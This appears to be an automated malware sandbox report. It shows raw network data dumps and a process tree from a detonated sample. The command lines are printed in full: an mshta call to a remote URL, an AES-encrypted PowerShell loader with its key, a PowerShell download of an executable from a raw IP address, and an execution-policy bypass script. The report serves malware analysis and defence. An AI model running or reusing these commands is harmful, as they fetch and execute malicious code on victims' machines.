                                                                                                                                                                          2024-12-23 07:40:11 UTC1390INData Raw: d9 c3 10 d6 1f b2 cd fd bb 9e 52 c0 c6 ac 63 6d 6a 7d 63 a0 ee bf 61 fe 67 d7 ed a2 91 18 ea 83 e8 bc 84 3c f6 92 99 0e 39 52 fb 50 a4 8e 8d b9 50 b4 45 0e 0e e8 5c f4 48 13 5f 36 61 f7 d9 4a 58 d8 a4 e0 0f 1c 33 8b 34 04 b9 4e a3 a9 25 bf ca 6e d4 75 b6 3b e7 dc 7e 2b 83 f0 4b fc 4f d7 6f 8d 99 43 f4 2a 3b 16 67 fd f0 c0 81 0c 22 df 3e 68 cf fc 25 d5 a0 cd 23 dc 62 3a 6c 78 5f c7 cc 17 bd ce 53 9b 88 64 9b f2 5b 5f 98 71 3d 74 42 5f cb ac e5 6f 5a 85 bf 31 ff bd 96 74 6d fd 76 0d b8 3b 7f f7 5c 6e 6a 9f 9b 0e 4a ef 8f 11 b9 2d f8 fd b3 ca 10 dc fc ce f2 bf cd d3 72 cd a9 3a 3f 7e e8 ba 50 b9 e5 8c 85 66 3c 7d 7c cb b9 ae b1 2e d4 de 6e 77 cd fd f1 92 27 87 ff fc ac be ef 47 09 d4 77 ef e8 3d f4 6e 27 97 de a2 ef ff f7 ce 43 af 53 f3 cd ee 9a 5a 42 95 3d
                                                                                                                                                                          Data Ascii: Rcmj}cag<9RPPE\H_6aJX34N%nu;~+KOoC*;g">h%#b:lx_Sd[_q=tB_oZ1tmv;\njJ-r:?~Pf<}|.nw'Gw=n'CSZB=
                                                                                                                                                                          2024-12-23 07:40:11 UTC1390INData Raw: 3b ad 00 5e b3 4e cb 73 3d 2b b0 5b de b2 1b ac ac c0 bf bd 49 06 60 0a 98 e5 c3 12 dc fa fd 5e 94 c6 93 21 f3 32 c4 3a e7 6a 98 8e e5 33 47 4c 6f 66 cf 66 8f 00 02 a7 37 5d af 9f 55 1c 7d 2f aa 0d 63 45 34 4d 9c 3f 0c 6f 34 66 3d 1f 97 c5 b3 39 14 7b e1 d5 d2 27 58 29 01 4d de d6 12 94 45 a0 b2 25 18 06 ec ff 89 3f ee 0f 01 1c 62 05 b0 8e 6f 05 55 2b 9a 4e 2b 15 bb 5a f9 59 a9 86 d5 aa 13 d9 6a a3 fa 56 e4 c4 f6 2d 76 5b 8b dd a8 15 f0 25 70 2a 41 38 f2 87 e9 80 f6 c5 43 a6 19 c3 34 71 63 28 94 f7 d5 3e a8 8d fb a7 40 9e 7a b1 db b3 2a 31 8c 90 2f 56 e5 7c e4 f7 bb 83 9f 23 9a 0d 8c ce 42 04 aa 0d 19 a0 6f d7 b2 9f 34 76 5f 6d 6e 6e d6 69 e4 4e a8 e8 02 80 b4 a5 20 5a 4b c7 e1 90 e1 cc 0d d0 9a 83 61 2e 2f 3c 5f c9 d6 50 bd 42 9b 7a 69 bf 37 7e c9 9f 3e
                                                                                                                                                                          Data Ascii: ;^Ns=+[I`^!2:j3GLoff7]U}/cE4M?o4f=9{'X)ME%?boU+N+ZYjV-v[%p*A8C4qc(>@z*1/V|#Bo4v_mnniN ZKa./<_PBzi7~>
                                                                                                                                                                          2024-12-23 07:40:11 UTC1390INData Raw: 28 a5 20 e7 31 76 b4 3d 19 8d fb dd dd 4b 60 21 0e f5 cc 1f 33 7c 0c d2 d1 00 b1 81 5e 69 42 40 e6 1a a3 91 ad d6 e5 68 63 43 03 68 03 51 81 cd 15 5b 50 25 01 0d 0a a0 cc 37 ab d0 e0 70 db 64 42 b6 9f 01 12 e5 58 36 df 46 f2 c0 36 2c 9a 5a d0 f7 89 35 0a f9 9b 66 01 58 a1 26 0c 6a 4d 5c 4b 7b e9 58 7b 57 de c3 72 c3 01 d2 14 c3 96 8f 11 ca 88 39 7c 1d 63 60 72 6c d4 ef 71 f2 9c 49 0e 9c cd 6d 82 37 6e c9 82 9c 2f 0b 6e 24 69 39 f2 e2 78 83 7f 53 04 3d b6 a3 da b9 a8 71 16 77 6c c9 a0 89 56 73 5e 14 11 7c 7c 73 cb 7f 2a d9 f2 39 07 8f 6b 7d 56 ca c0 8d 61 7f 28 ec 36 ce 58 4c 31 40 12 ec 2c 6f 2c 2b 48 03 40 f2 e5 2b 62 36 46 17 48 75 0a bd e4 dc 22 b3 6e 9c 63 a5 86 71 d4 b8 31 30 23 af 19 81 78 83 e3 e9 5a 37 f8 9c 4b 22 f0 7a 80 ff ce 66 cd 63 e2 27 5d
                                                                                                                                                                          Data Ascii: ( 1v=K`!3|^iB@hcChQ[P%7pdBX6F6,Z5fX&jM\K{X{Wr9|c`rlqIm7n/n$i9xS=qwlVs^||s*9k}Va(6XL1@,o,+H@+b6FHu"ncq10#xZ7K"zfc']
                                                                                                                                                                          2024-12-23 07:40:11 UTC1390INData Raw: 01 02 c0 b2 db c0 47 fc c2 eb d3 07 f9 cb a9 80 c2 b8 ec 66 aa f4 9a a9 4f 23 9b 16 c3 b7 0c e9 94 d8 01 42 0d 39 01 c1 0c 00 05 bb 46 fd 6c 74 68 20 1a 73 50 b5 25 bf 9b 6b a1 76 bd ec 3e 5a 2f 34 82 c8 be 2c eb 72 e9 75 b9 81 5a f1 03 58 07 57 22 05 05 6e 85 8b 28 3e ed b7 c4 45 0d bd de ae 37 13 31 f9 80 3b 68 01 71 40 1d 01 b4 9c 4e 2d fe e0 0a c4 3b eb d6 d2 a0 03 02 2f 96 20 44 6d 8b bf 7c 02 6e 06 9b 90 bf 10 fe 39 81 a6 8e a4 2a f2 45 4e 66 1c a4 2b 79 31 d8 41 b0 51 04 2d 99 39 bc 77 2e 54 8b 76 6d a7 d8 02 27 86 e2 f3 dc 57 e3 03 ad 3a ec 69 93 fb 84 77 d0 7c da 4b 0a 2e 39 2d a6 36 d1 88 83 03 6c 5b fc 2f 79 5b 7d d8 a9 35 da cd 0e 88 f8 e2 03 a7 27 d3 a9 e0 0c 12 9c 09 82 d3 79 24 9a 2b cc 48 be 25 3a ab ff d0 19 81 59 31 2f 46 8c 01 89 b0 9a
                                                                                                                                                                          Data Ascii: GfO#B9Flth sP%kv>Z/4,ruZXW"n(>E71;hq@N-;/ Dm|n9*ENf+y1AQ-9w.Tvm'W:iw|K.9-6l[/y[}5'y$+H%:Y1/F
                                                                                                                                                                          2024-12-23 07:40:11 UTC1390INData Raw: 3f 08 3f f4 d3 de f8 41 d0 ce 03 89 61 57 3a e2 0c 48 31 96 53 3b 09 22 96 46 85 74 06 dc 97 14 6e 80 5c 17 6e 36 1a 8d 75 f8 7f 78 5c 36 a8 54 68 6b 72 c2 09 eb c5 52 50 48 b9 ff e5 a7 0f 83 fe 39 c0 51 2f 55 aa a1 dd 0a 37 5c c2 bc b6 5f 75 f5 b9 25 6c 88 f3 83 06 9b 56 b8 4a 65 5e 38 8b ca 20 06 d7 57 1a f5 b5 67 d3 e7 cf d7 5e bd b0 17 96 14 85 5e 3c 5b 03 09 6f 56 e4 52 22 10 cb 74 09 03 2f bd f9 23 7e 95 07 5a 94 28 41 b2 07 11 ae 60 79 c8 fb cd c2 c6 aa 3b ff 69 1b 7c 15 7c 8c 84 24 dc 79 fa e4 d1 a3 a5 ed fe e0 66 98 c6 c9 78 09 45 c6 ed ac 3f 9a 0c c3 a5 83 d4 1b b2 e1 cd d2 d6 64 9c f4 87 a3 da a3 a5 d3 0f 3b df 56 0f 52 3f ec 8d c2 d5 fd 00 d6 3f 8d d2 70 d8 5c da 1a 80 ee 12 ae ae d5 ea 8f 9e 3c a5 a3 07 57 cc bd 02 12 70 3b 73 2e 49 16 9f 4e
                                                                                                                                                                          Data Ascii: ??AaW:H1S;"Ftn\n6ux\6ThkrRPH9Q/U7\_u%lVJe^8 Wg^^<[oVR"t/#~Z(A`y;i||$yfxE?d;VR??p\<Wp;s.IN
                                                                                                                                                                          2024-12-23 07:40:11 UTC1390INData Raw: 4f 0b c5 44 73 d4 f2 87 13 fa f8 51 4e 97 0f d5 84 e9 74 fa 59 da 7c bf e3 19 63 e7 07 e3 a7 9c f0 cd e3 fc 08 b5 3a ce 6e 1e 74 71 58 2e 86 7b e3 3e 33 82 51 35 c1 d9 f3 e4 51 51 26 64 2c af 85 36 8b 9c 7b 7a b0 77 c8 75 fa 03 ca fd a0 c3 ce 9a 6e be f5 7a 7b 67 77 ef cd db fd 77 ef 0f 0e 8f 8e 3f 7c 3c 39 fd f4 f9 cb d7 6f df 7f 30 cf 87 a1 c4 49 7a 7e 91 75 7b fd c1 af e1 68 3c b9 bc ba be f9 5d 6f ac 3d 5b 7f fe e2 ef 97 af f2 63 f2 15 f4 d6 9e 55 aa 4f dd 8a 03 ff c2 3f ab 3f 5d fa b7 46 ff 56 3a 94 2b 20 dc 78 de 0a 95 8b c3 47 91 c8 67 63 2b 40 91 24 6f ca 6e 7d 87 bd d2 71 e7 b6 91 dc ac b1 6c 22 71 23 d8 4d ad 1f 0c cf f9 69 73 e6 2f 50 b6 99 79 ee 77 4a 8a 21 24 4f 4b 33 1e c8 1d fb f4 19 74 19 80 e6 f6 62 bd 83 59 19 a8 db d0 e5 f1 d2 79 f6 89
                                                                                                                                                                          Data Ascii: ODsQNtY|c:ntqX.{>3Q5QQ&d,6{zwunz{gww?|<9o0Iz~u{h<]o=[cUO??]FV:+ xGgc+@$on}ql"q#Mis/PywJ!$OK3tbYy


                                                                                                                                                                          Click to jump to process

                                                                                                                                                                          Click to jump to process

                                                                                                                                                                          Click to dive into process behavior distribution

                                                                                                                                                                          Click to jump to process

                                                                                                                                                                          Target ID:1
                                                                                                                                                                          Start time:02:39:46
                                                                                                                                                                          Start date:23/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\wbem\WMIC.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:"C:\Windows\System32\Wbem\wmic.exe" process call create "powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://tiffany-careers.com/HA_19-12NGHEP_anh')"
                                                                                                                                                                          Imagebase:0x7ff614ae0000
                                                                                                                                                                          File size:576'000 bytes
                                                                                                                                                                          MD5 hash:C37F2F4F4B3CD128BDABCAEB2266A785
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Reputation:high
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          Target ID:2
                                                                                                                                                                          Start time:02:39:46
                                                                                                                                                                          Start date:23/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                          Imagebase:0x7ff70f010000
                                                                                                                                                                          File size:862'208 bytes
                                                                                                                                                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Reputation:high
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          Target ID:3
                                                                                                                                                                          Start time:02:39:46
                                                                                                                                                                          Start date:23/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://tiffany-careers.com/HA_19-12NGHEP_anh')
                                                                                                                                                                          Imagebase:0x7ff760310000
                                                                                                                                                                          File size:452'608 bytes
                                                                                                                                                                          MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Reputation:high
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          Target ID:4
                                                                                                                                                                          Start time:02:39:46
                                                                                                                                                                          Start date:23/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                          Imagebase:0x7ff70f010000
                                                                                                                                                                          File size:862'208 bytes
                                                                                                                                                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Reputation:high
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          Target ID:5
                                                                                                                                                                          Start time:02:39:49
                                                                                                                                                                          Start date:23/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "mshta.exe https://tiffany-careers.com/HA_19-12NGHEP_anh"
                                                                                                                                                                          Imagebase:0x7ff760310000
                                                                                                                                                                          File size:452'608 bytes
                                                                                                                                                                          MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Reputation:high
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          Target ID:6
                                                                                                                                                                          Start time:02:39:49
                                                                                                                                                                          Start date:23/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\mshta.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:"C:\Windows\system32\mshta.exe" https://tiffany-careers.com/HA_19-12NGHEP_anh
                                                                                                                                                                          Imagebase:0x7ff7e40d0000
                                                                                                                                                                          File size:14'848 bytes
                                                                                                                                                                          MD5 hash:0B4340ED812DC82CE636C00FA5C9BEF2
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Reputation:moderate
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          Target ID:8
                                                                                                                                                                          Start time:02:39:52
                                                                                                                                                                          Start date:23/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\svchost.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
                                                                                                                                                                          Imagebase:0x7ff77afe0000
                                                                                                                                                                          File size:55'320 bytes
                                                                                                                                                                          MD5 hash:B7F884C1B74A263F746EE12A5F7C9F6A
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Reputation:high
                                                                                                                                                                          Has exited:false

                                                                                                                                                                          Target ID:9
                                                                                                                                                                          Start time:02:39:53
                                                                                                                                                                          Start date:23/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function clean ($YUBmqnRj){return -split ($YUBmqnRj -replace '..', '0x$& ')};$JQJjsu = clean('5B4D0AAC74AF94B96DE6D0711E9796AF44D95584C20A8120E5F4C2D55E092A7A2D251DA390909853B5C79690E93A85CB92B9FDEFC65F3CDB1D06CC6879B4516928A8BF4DBB11970D2A2BD075032D2FCA7E0D722AAA3530CE3EB19E65FE575E8A25BED1C1BF5DFFD683FB4BC2EAA8FE8F1A60500155478D87FAC118323C432F5036D59616B9773D97224FA5D5F611314ADE0D4C1D3748EB30F2D127D9E5D8ABFD58BF6DFAB496B4151926B4932EB4E2002C026F0DAD699E3BF4E2AFBA35AC0D2467BE27D487758C9F0E13B99AB91507093DA9B8C8F3FC004623B2AC22915FF6DDA0F2A151FD5C5BC18FFC2D1AD49092E43840545B43C3931B9431F537A4EAF81384FCE89E341CB162F0D74C7C8BBE83A369F44C7C8AD2314CDE87C92213F354F43436DD67669190C7CF80EAB568C8FFE5DF1D7A7289E9AFCC57749726D4170CB358F474A9B394F92F7A7C59B69E1D4F3048A9AF1B1BF6458C6DC0905071FC67BF46B82AB406FD2E0DD0353A56DB42CC22A38391221F97AF42C621E21E76AAD151B423B4198F39A2C8B1B8521C9400861EA34B51E60B32DCF611B5BA64111CB29E6119A047B3C01F8189C05F98FACD727C23B17202459A7730C79C74BF89421B7760627C3EF646B0FA2677D229451827319989785D6B8F597DD83E86CE034F586EC33BFB81CEA7484471E4468F516FD291FF97F14BF7E804A851C2C5526F5C84BE28FADD849079EF0089CEB62A808A2394FFC96A219396786CD01610BE36929BF865E35CD69E6A8E9B2594734C53B954CE005A47ED538E28D7BCE8E8B096462399F500F3B6D157E20DB80631F70368AA3E87F3E6B4A33350E734FE88F2D62FD30B450A5F8061AD2D42D59E00EB1797E197155F3CC5A81E5A28E6FE0A7847C64D970D00EB3212F922E5A69EDCCA6A771B579DA91E8062F135579A2F596F4FB904E51632EC3798751469A06B55F431B3C278D02BA162BAD2051DD8ECEF925C3B148ACC6CF884D595F47ECED7EE54A234964C7AC1C53386EE8ADD5543AAB0A0A455D9BC24791A136E50CBE3C2494A9E1C02E194A3C9AECB489457F71355B11D616C94AD17918390627C6F8D0EBFEC0D4B85391A1F467AEB4171DF3219BB517EB07410A106FF89CCA8023C0CF6C0F5251A8E428413363D25F0B505E17AEC003693E130A590DB8BBE133FFB0BDBC8930DA536699D6DAAC01BB7FD671DBE8DEFF6B4028FE57FCB454DAD571F21C46E58BED7CC67F8F8B3F124E43476CD67F681F52F9E21044F8C5361A690A893FA06D69E2DB01A27F3503C04BE81BB4A323F8EECBA5358DDB14C9EC0469AEE1544FB484B6D1A6724132B29F8451BF425B1B9762AA86E3A6ED9A28760C77FEC629AE93E74262197D8D6B10F23ED27497ECC808D24E7D6E88CEB1D5788785816C5FA9EAB87109E431C7C6442BA4FC96DA32D0841A2C60881B66136D63452D540BE93E778EDEC6BA91D01916A1EEC4EB6A74F22241194EC1EEDC14528EAC307306F8E6CAAAC68402C965A0CE3A683F3BF2B61F6BEBD7EC1347EECF6D52329C0F2D6EE0FDC59AD85C3A7B382EE197C38A04DDE6FEF2EBDF6F21091DD434E3ED41F090C5A4AB1DEA7CC5DF529DC4724F97F443E9F7616218B009BBAE57D41AC9B157FAB29601988A46216F36F8FCDE4CD489509E890AA17820AC29A5F377819EBD437D5F8DA703DC69541B92F3DBA8114F5F49D9915B9C79A2E77BD647E7E439D93AE77D39EF6F453BB');$nVgOVia = [System.Security.Cryptography.Aes]::Create();$nVgOVia.Key = clean('5045706B41635763586C7A575A435A61');$nVgOVia.IV = New-Object byte[] 16;$UoRhOAMrF = $nVgOVia.CreateDecryptor();$gAccxEpxB = [Text.Encoding]::UTF8.GetString($UoRhOAMrF.TransformFinalBlock($JQJjsu, 0,$JQJjsu.Length)); & $gAccxEpxB.Substring(0,3) $gAccxEpxB.Substring(3)
                                                                                                                                                                          Imagebase:0x7ff760310000
                                                                                                                                                                          File size:452'608 bytes
                                                                                                                                                                          MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Reputation:high
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          Target ID:10
                                                                                                                                                                          Start time:02:39:53
                                                                                                                                                                          Start date:23/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                          Imagebase:0x7ff70f010000
                                                                                                                                                                          File size:862'208 bytes
                                                                                                                                                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Reputation:high
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          Target ID:11
                                                                                                                                                                          Start time:02:39:58
                                                                                                                                                                          Start date:23/12/2024
                                                                                                                                                                          Path:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\user\AppData\Roaming\New_2025.webp
                                                                                                                                                                          Imagebase:0x7ff6d8030000
                                                                                                                                                                          File size:4'210'216 bytes
                                                                                                                                                                          MD5 hash:69222B8101B0601CC6663F8381E7E00F
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          Target ID:12
                                                                                                                                                                          Start time:02:39:59
                                                                                                                                                                          Start date:23/12/2024
                                                                                                                                                                          Path:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2292 --field-trial-handle=2104,i,11473878643114958093,389058403593483745,262144 /prefetch:3
                                                                                                                                                                          Imagebase:0x7ff6d8030000
                                                                                                                                                                          File size:4'210'216 bytes
                                                                                                                                                                          MD5 hash:69222B8101B0601CC6663F8381E7E00F
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          Target ID:13
                                                                                                                                                                          Start time:02:39:59
                                                                                                                                                                          Start date:23/12/2024
                                                                                                                                                                          Path:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate --single-argument C:\Users\user\AppData\Roaming\New_2025.webp
                                                                                                                                                                          Imagebase:0x7ff6d8030000
                                                                                                                                                                          File size:4'210'216 bytes
                                                                                                                                                                          MD5 hash:69222B8101B0601CC6663F8381E7E00F
                                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:false

                                                                                                                                                                          Target ID:14
                                                                                                                                                                          Start time:02:39:59
                                                                                                                                                                          Start date:23/12/2024
                                                                                                                                                                          Path:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2848 --field-trial-handle=2688,i,17307406999188606845,985520669215378770,262144 /prefetch:3
                                                                                                                                                                          Imagebase:0x7ff6d8030000
                                                                                                                                                                          File size:4'210'216 bytes
                                                                                                                                                                          MD5 hash:69222B8101B0601CC6663F8381E7E00F
                                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:false

                                                                                                                                                                          Target ID:18
                                                                                                                                                                          Start time:02:40:03
                                                                                                                                                                          Start date:23/12/2024
                                                                                                                                                                          Path:C:\Users\user\AppData\Roaming\PefjSkkhb.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:"C:\Users\user\AppData\Roaming\PefjSkkhb.exe"
                                                                                                                                                                          Imagebase:0x7ff697b40000
                                                                                                                                                                          File size:1'083'904 bytes
                                                                                                                                                                          MD5 hash:567DE19C0E7E3A1FC845E51AC1C1D5D8
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Antivirus matches:
                                                                                                                                                                          • Detection: 32%, ReversingLabs
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          Target ID:20
                                                                                                                                                                          Start time:02:40:03
                                                                                                                                                                          Start date:23/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/kiiMf" -OutFile "C:\Users\Public\Guard.exe""
                                                                                                                                                                          Imagebase:0x7ff760310000
                                                                                                                                                                          File size:452'608 bytes
                                                                                                                                                                          MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          Target ID:21
                                                                                                                                                                          Start time:02:40:03
                                                                                                                                                                          Start date:23/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                          Imagebase:0x7ff70f010000
                                                                                                                                                                          File size:862'208 bytes
                                                                                                                                                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          Target ID:22
                                                                                                                                                                          Start time:02:40:05
                                                                                                                                                                          Start date:23/12/2024
                                                                                                                                                                          Path:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6948 --field-trial-handle=2688,i,17307406999188606845,985520669215378770,262144 /prefetch:8
                                                                                                                                                                          Imagebase:0x7ff6d8030000
                                                                                                                                                                          File size:4'210'216 bytes
                                                                                                                                                                          MD5 hash:69222B8101B0601CC6663F8381E7E00F
                                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          Target ID:23
                                                                                                                                                                          Start time:02:40:05
                                                                                                                                                                          Start date:23/12/2024
                                                                                                                                                                          Path:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6976 --field-trial-handle=2688,i,17307406999188606845,985520669215378770,262144 /prefetch:8
                                                                                                                                                                          Imagebase:0x7ff6d8030000
                                                                                                                                                                          File size:4'210'216 bytes
                                                                                                                                                                          MD5 hash:69222B8101B0601CC6663F8381E7E00F
                                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          Target ID:25
                                                                                                                                                                          Start time:02:40:09
                                                                                                                                                                          Start date:23/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1"
                                                                                                                                                                          Imagebase:0x7ff760310000
                                                                                                                                                                          File size:452'608 bytes
                                                                                                                                                                          MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          Target ID:26
                                                                                                                                                                          Start time:02:40:09
                                                                                                                                                                          Start date:23/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                          Imagebase:0x7ff70f010000
                                                                                                                                                                          File size:862'208 bytes
                                                                                                                                                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          Target ID:27
                                                                                                                                                                          Start time:02:40:15
                                                                                                                                                                          Start date:23/12/2024
                                                                                                                                                                          Path:C:\Users\Public\Guard.exe
                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                          Commandline:"C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3
                                                                                                                                                                          Imagebase:0x2d0000
                                                                                                                                                                          File size:893'608 bytes
                                                                                                                                                                          MD5 hash:18CE19B57F43CE0A5AF149C96AECC685
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
